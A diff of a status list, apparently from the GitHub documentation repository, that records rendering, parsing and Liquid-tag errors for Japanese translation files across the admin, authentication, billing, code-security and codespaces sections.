+translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/index.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,broken liquid tags
+translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/index.md,broken liquid tags
+translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,broken liquid tags
+translations/ja-JP/content/admin/overview/system-overview.md,broken liquid tags
+translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags
+translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,broken liquid tags
+translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md,broken liquid tags
+translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,broken liquid tags
 translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md,Listed in localization-support#489
-translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,rendering error
+translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,broken liquid tags
 translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md,Listed in localization-support#489
-translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md,rendering error
-translations/ja-JP/content/admin/user-management/index.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/index.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/index.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error
-translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md,rendering error
-translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error
-translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md,rendering error
-translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md,rendering error
-translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md,rendering error
-translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error
-translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,rendering error
-translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,rendering error
-translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md,rendering error
-translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md,rendering error
-translations/ja-JP/content/authentication/connecting-to-github-with-ssh/about-ssh.md,rendering error
-translations/ja-JP/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,rendering error
-translations/ja-JP/content/authentication/connecting-to-github-with-ssh/index.md,rendering error
-translations/ja-JP/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md,rendering error
-translations/ja-JP/content/authentication/index.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/index.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,rendering error
-translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,rendering error
-translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,rendering error
-translations/ja-JP/content/authentication/managing-commit-signature-verification/index.md,rendering error
-translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error
-translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-tags.md,rendering error
-translations/ja-JP/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md,rendering error
-translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md,rendering error
-translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error
-translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md,rendering error
-translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md,rendering error
-translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md,rendering error
-translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md,rendering error
-translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md,rendering error
-translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/index.md,rendering error
-translations/ja-JP/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md,rendering error
+translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags
+translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,broken liquid tags
+translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags
+translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,broken liquid tags
+translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,broken liquid tags
+translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,broken liquid tags
+translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,broken liquid tags
+translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,broken liquid tags
+translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,broken liquid tags
 translations/ja-JP/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,Listed in localization-support#489
-translations/ja-JP/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,rendering error
-translations/ja-JP/content/authentication/troubleshooting-ssh/error-unknown-key-type.md,rendering error
-translations/ja-JP/content/authentication/troubleshooting-ssh/index.md,rendering error
-translations/ja-JP/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md,rendering error
-translations/ja-JP/content/billing/index.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/index.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,rendering error
 translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,Listed in localization-support#489
 translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,parsing error
-translations/ja-JP/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/index.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/index.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md,rendering error
-translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md,rendering error
-translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/index.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md,rendering error
-translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md,rendering error
-translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md,rendering error
-translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md,rendering error
-translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,rendering error
-translations/ja-JP/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md,rendering error
-translations/ja-JP/content/code-security/getting-started/github-security-features.md,rendering error
-translations/ja-JP/content/code-security/getting-started/securing-your-organization.md,rendering error
-translations/ja-JP/content/code-security/getting-started/securing-your-repository.md,rendering error
-translations/ja-JP/content/code-security/guides.md,rendering error
-translations/ja-JP/content/code-security/index.md,rendering error
-translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md,rendering error
-translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,rendering error
-translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error
-translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md,rendering error
-translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error
-translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error
+translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,broken liquid tags
+translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md,broken liquid tags
+translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,broken liquid tags
+translations/ja-JP/content/code-security/getting-started/securing-your-organization.md,broken liquid tags
+translations/ja-JP/content/code-security/getting-started/securing-your-repository.md,broken liquid tags
+translations/ja-JP/content/code-security/index.md,broken liquid tags
+translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md,broken liquid tags
+translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,broken liquid tags
+translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,broken liquid tags
+translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,broken liquid tags
+translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md,broken liquid tags
+translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,broken liquid tags
+translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,broken liquid tags
+translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,broken liquid tags
 translations/ja-JP/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,Listed in localization-support#489
-translations/ja-JP/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error
-translations/ja-JP/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md,rendering error
-translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error
-translations/ja-JP/content/codespaces/customizing-your-codespace/index.md,rendering error
-translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,rendering error
-translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/index.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,rendering error
-translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error
-translations/ja-JP/content/codespaces/guides.md,rendering error
-translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error
-translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error
-translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/managing-your-codespaces/index.md,rendering error
-translations/ja-JP/content/codespaces/overview.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error
-translations/ja-JP/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,rendering error
-translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error
-translations/ja-JP/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md,rendering error
